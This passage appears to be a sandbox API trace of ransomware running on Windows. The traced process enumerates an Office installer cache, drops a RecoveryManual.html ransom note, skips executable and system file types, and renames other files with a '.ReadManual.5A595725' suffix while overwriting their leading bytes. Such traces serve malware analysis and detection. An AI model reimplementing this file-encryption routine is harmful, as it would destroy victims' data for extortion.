(lpString1="Office32WW.msi", lpString2="RecoveryManual.html") returned -1 [0196.627] StrStrIW (lpFirst="Office32WW.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0196.627] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0196.628] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0196.628] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0196.628] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0196.628] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\" [0196.628] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\RecoveryManual.html") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\RecoveryManual.html" [0196.628] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\RecoveryManual.html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0196.628] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0196.629] CloseHandle (hObject=0x190) returned 1 [0196.629] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0196.629] lstrcpyW (in: lpString1=0x6ab922, lpString2="Office32WW.xml" | out: lpString1="Office32WW.xml") returned="Office32WW.xml" [0196.629] lstrcmpiW (lpString1="Office32WW.xml", lpString2="RecoveryManual.html") returned -1 [0196.629] StrStrIW (lpFirst="Office32WW.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0196.629] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0196.629] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0196.629] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0196.629] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0196.629] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0196.629] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0196.629] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0196.629] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0196.629] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0196.630] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0196.630] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0196.630] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0196.630] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0196.630] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0196.630] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" [0196.630] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.ReadManual.5A595725" [0196.630] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.ReadManual.5A595725") returned 101 [0196.630] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31729854173) returned 1 [0196.630] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0196.631] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0196.631] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=4274) returned 1 [0196.631] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10b2, lpName=0x0) returned 0x194 [0196.631] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0196.631] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.631] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0196.633] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0196.633] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10b2) returned 0x2f0000 [0196.633] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0196.633] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31730208705) returned 1 [0196.633] CloseHandle (hObject=0x194) returned 1 [0196.633] SetSecurityInfo () returned 0x57 [0196.634] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0196.634] CloseHandle (hObject=0x190) returned 1 [0196.634] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0196.634] lstrcpyW (in: lpString1=0x6ab922, lpString2="ose.exe" | out: lpString1="ose.exe") returned="ose.exe" [0196.634] lstrcmpiW (lpString1="ose.exe", lpString2="RecoveryManual.html") returned -1 [0196.634] StrStrIW (lpFirst="ose.exe", lpSrch=".ReadManual.5A595725") returned 0x0 [0196.634] StrCmpIW (psz1="exe", psz2="exe") returned 0 [0196.634] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0196.634] lstrcpyW (in: lpString1=0x6ab922, lpString2="osetup.dll" | out: lpString1="osetup.dll") returned="osetup.dll" [0196.634] lstrcmpiW (lpString1="osetup.dll", lpString2="RecoveryManual.html") returned -1 [0196.635] StrStrIW (lpFirst="osetup.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0196.635] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0196.635] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0196.635] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0196.635] lstrcpyW (in: lpString1=0x6ab922, lpString2="OWOW32WW.cab" | out: lpString1="OWOW32WW.cab") returned="OWOW32WW.cab" [0196.635] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="RecoveryManual.html") returned -1 [0196.635] StrStrIW (lpFirst="OWOW32WW.cab", lpSrch=".ReadManual.5A595725") returned 0x0 [0196.635] StrCmpIW (psz1="cab", psz2="exe") returned -1 [0196.635] StrCmpIW (psz1="cab", psz2="dll") returned -1 [0196.635] StrCmpIW (psz1="cab", psz2="sys") returned -1 [0196.635] StrCmpIW (psz1="cab", psz2="msi") returned -1 [0196.635] StrCmpIW (psz1="cab", psz2="mui") returned -1 [0196.635] StrCmpIW (psz1="cab", psz2="inf") returned -1 [0196.635] StrCmpIW (psz1="cab", psz2="cat") returned -1 [0196.635] StrCmpIW (psz1="cab", psz2="bat") returned 1 [0196.635] StrCmpIW (psz1="cab", psz2="cmd") returned -1 [0196.635] StrCmpIW (psz1="cab", psz2="ps1") returned -1 [0196.635] StrCmpIW (psz1="cab", psz2="vbs") returned -1 [0196.635] StrCmpIW (psz1="cab", psz2="ttf") returned -1 [0196.635] StrCmpIW (psz1="cab", psz2="fon") returned -1 [0196.635] StrCmpIW (psz1="cab", psz2="lnk") returned -1 [0196.635] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" [0196.635] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.ReadManual.5A595725" [0196.635] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.ReadManual.5A595725") returned 99 [0196.635] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31730399296) returned 1 [0196.635] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0196.636] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0196.636] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=36233052) returned 1 [0196.636] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x228df5c, lpName=0x0) returned 0x194 [0196.636] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0196.637] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.637] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0196.639] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0196.639] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x228df5c) returned 0x4350000 [0198.496] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0198.572] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31924108227) returned 1 [0198.572] CloseHandle (hObject=0x194) returned 1 [0198.572] SetSecurityInfo () returned 0x57 [0198.573] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0198.573] CloseHandle (hObject=0x190) returned 1 [0198.573] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0198.573] lstrcpyW (in: lpString1=0x6ab922, lpString2="PidGenX.dll" | out: lpString1="PidGenX.dll") returned="PidGenX.dll" [0198.573] lstrcmpiW (lpString1="PidGenX.dll", lpString2="RecoveryManual.html") returned -1 [0198.574] StrStrIW (lpFirst="PidGenX.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0198.574] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0198.574] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0198.574] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0198.574] lstrcpyW (in: lpString1=0x6ab922, lpString2="pkeyconfig-office.xrm-ms" | out: lpString1="pkeyconfig-office.xrm-ms") returned="pkeyconfig-office.xrm-ms" [0198.574] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="RecoveryManual.html") returned -1 [0198.574] StrStrIW (lpFirst="pkeyconfig-office.xrm-ms", lpSrch=".ReadManual.5A595725") returned 0x0 [0198.574] StrCmpIW (psz1="xrm-ms", psz2="exe") returned 1 [0198.574] StrCmpIW (psz1="xrm-ms", psz2="dll") returned 1 [0198.574] StrCmpIW (psz1="xrm-ms", psz2="sys") returned 1 [0198.574] StrCmpIW (psz1="xrm-ms", psz2="msi") returned 1 [0198.574] StrCmpIW (psz1="xrm-ms", psz2="mui") returned 1 [0198.574] StrCmpIW (psz1="xrm-ms", psz2="inf") returned 1 [0198.574] StrCmpIW (psz1="xrm-ms", psz2="cat") returned 1 [0198.574] StrCmpIW (psz1="xrm-ms", psz2="bat") returned 1 [0198.574] StrCmpIW (psz1="xrm-ms", psz2="cmd") returned 1 [0198.574] StrCmpIW (psz1="xrm-ms", psz2="ps1") returned 1 [0198.574] StrCmpIW (psz1="xrm-ms", psz2="vbs") returned 1 [0198.574] StrCmpIW (psz1="xrm-ms", psz2="ttf") returned 1 [0198.574] StrCmpIW (psz1="xrm-ms", psz2="fon") returned 1 [0198.574] StrCmpIW (psz1="xrm-ms", psz2="lnk") returned 1 [0198.574] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" [0198.574] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.ReadManual.5A595725" [0198.574] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.ReadManual.5A595725") returned 111 [0198.574] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31924306733) returned 1 [0198.574] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0198.575] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0198.576] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=715834) returned 1 [0198.576] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaec3a, lpName=0x0) returned 0x194 [0198.576] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xee) returned 1 [0198.576] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.576] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0198.578] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0198.578] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaec3a) returned 0x2690000 [0198.598] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0198.599] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31926748622) returned 1 [0198.599] CloseHandle (hObject=0x194) returned 1 [0198.599] SetSecurityInfo () returned 0x57 [0198.599] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0198.599] CloseHandle (hObject=0x190) returned 1 [0198.608] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProPlusrWW.msi", cAlternateFileName="PROPLU~1.MSI")) returned 1 [0198.608] lstrcpyW (in: lpString1=0x6ab922, lpString2="ProPlusrWW.msi" | out: lpString1="ProPlusrWW.msi") returned="ProPlusrWW.msi" [0198.608] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="RecoveryManual.html") returned -1 [0198.608] StrStrIW (lpFirst="ProPlusrWW.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0198.608] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0198.608] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0198.608] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0198.608] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0198.608] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProPlusrWW.xml", cAlternateFileName="PROPLU~1.XML")) returned 1 [0198.608] lstrcpyW (in: lpString1=0x6ab922, lpString2="ProPlusrWW.xml" | out: lpString1="ProPlusrWW.xml") returned="ProPlusrWW.xml" [0198.608] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="RecoveryManual.html") returned -1 [0198.608] StrStrIW (lpFirst="ProPlusrWW.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0198.608] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0198.608] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0198.608] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0198.608] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0198.608] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0198.608] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0198.608] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0198.609] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0198.609] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0198.609] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0198.609] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0198.609] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0198.609] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0198.609] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0198.609] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" [0198.609] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.ReadManual.5A595725" [0198.609] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.ReadManual.5A595725") returned 101 [0198.609] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31927765825) returned 1 [0198.609] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020 [0198.610] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0198.610] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=16852) returned 1 [0198.610] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x41d4, lpName=0x0) returned 0x194 [0198.610] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0198.611] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.611] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0198.612] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0198.613] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, 